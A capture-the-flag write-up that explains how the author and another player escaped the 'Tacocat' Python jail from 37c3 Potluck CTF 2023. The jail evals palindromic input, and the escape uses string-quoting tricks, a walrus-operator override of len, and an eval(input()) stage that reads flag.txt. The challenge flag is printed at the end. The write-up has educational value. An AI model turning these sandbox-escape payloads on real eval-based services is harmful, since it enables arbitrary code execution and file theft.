Tacocat [37c3 Potluckctf 2023]

writeup by: zenbassi

Challenge Description

This is an upsolve, so I don’t really remember, but it went something like We had no good ideas but we figured a python escape is always welcome.

Intuition

The code for the jail is given to us and albeit, very short:

while True:
    x = input("palindrome? ")
    assert "#" not in x, "comments are bad"
    assert all(ord(i) < 128 for i in x), "ascii only kthx"
    assert x == x[::-1], "not a palindrome"
    assert len(x) < 36, "palindromes can't be more than 35 characters long, this is a well known fact."
    assert sum(x.encode()) % 256 == 69, "not nice!"
    eval(x)

So, we’re free to give a string to eval, which will evaluate any valid python expression. This can give us the flag, or a shell, but the catch is that:

  • the input must be a palindrome
  • we cannot use comments
  • sum of ASCII values for each character in the input has to be equal to 69 (modulo 256)

I had multiple ideas, including using string formatting to insert comments, using tuples which are evaluated element by element and to use triple quotes strings as a form of comment. Sadly I had no success with any of them, but I’m happy to see that some of my ideas were in a solution by pspaul @ FluxFingers, which I we will discuss below.

Solution

The solution consists of multiple inputs formatted as such:

      +------------------------------------------------------+
      |                                                      |
      |              +-----------------------+               |
      |              |                       |               |
      v              v                       v               v
'''{buffer}',{reverse(expression)},''',{expression},'{reverse(buffer)}'''
|                                    | |       ^  | |                 | ^
|          this is a string          | |       |  | | this is a char  | |
+------------------------------------+ +-------+--+ +-------------^---+ |
                                               |                  |     |
     this is the evaluated expression ---------+                  |     |
                                                                  |     |
                   this is used to reach the desired sum ---------+     |
                                                                        |
                                                                        |
                                                                        |
                                                         empty string --+

eg. which would print 42 when evaluated:

eval("'''?',))24(tnirp(,''',(print(42)),'?'''")

This is a bit too long to be valid, but you get the point :P

Looking at it, this is a very neat way of abusing the greedy way in which strings are evaluated in python - from left to right.

Now, the length restriction is problematic. We can bypass it if we assign to len another function that processes a string or a list and returns a values smaller than 36. Such functions are all or any. To achieve the substitution we can utilise the walrus operator introduced in python 3.8 1. The following two lines bypass the length check:

'''k',)yna=:y(,''',(y:=any),'k'''
'''t',)y=:nel(,''',(len:=y),'t'''

Lastly we can just read the flag with:

'''{}',))(tupni(lave,''',eval(input()),'{}'''

and then supplying something such as:

print(open("flag.txt").read())

Flag

POTLUCK{1_@c7u@11y_do_n07_kn0w_th3_f1@g}

References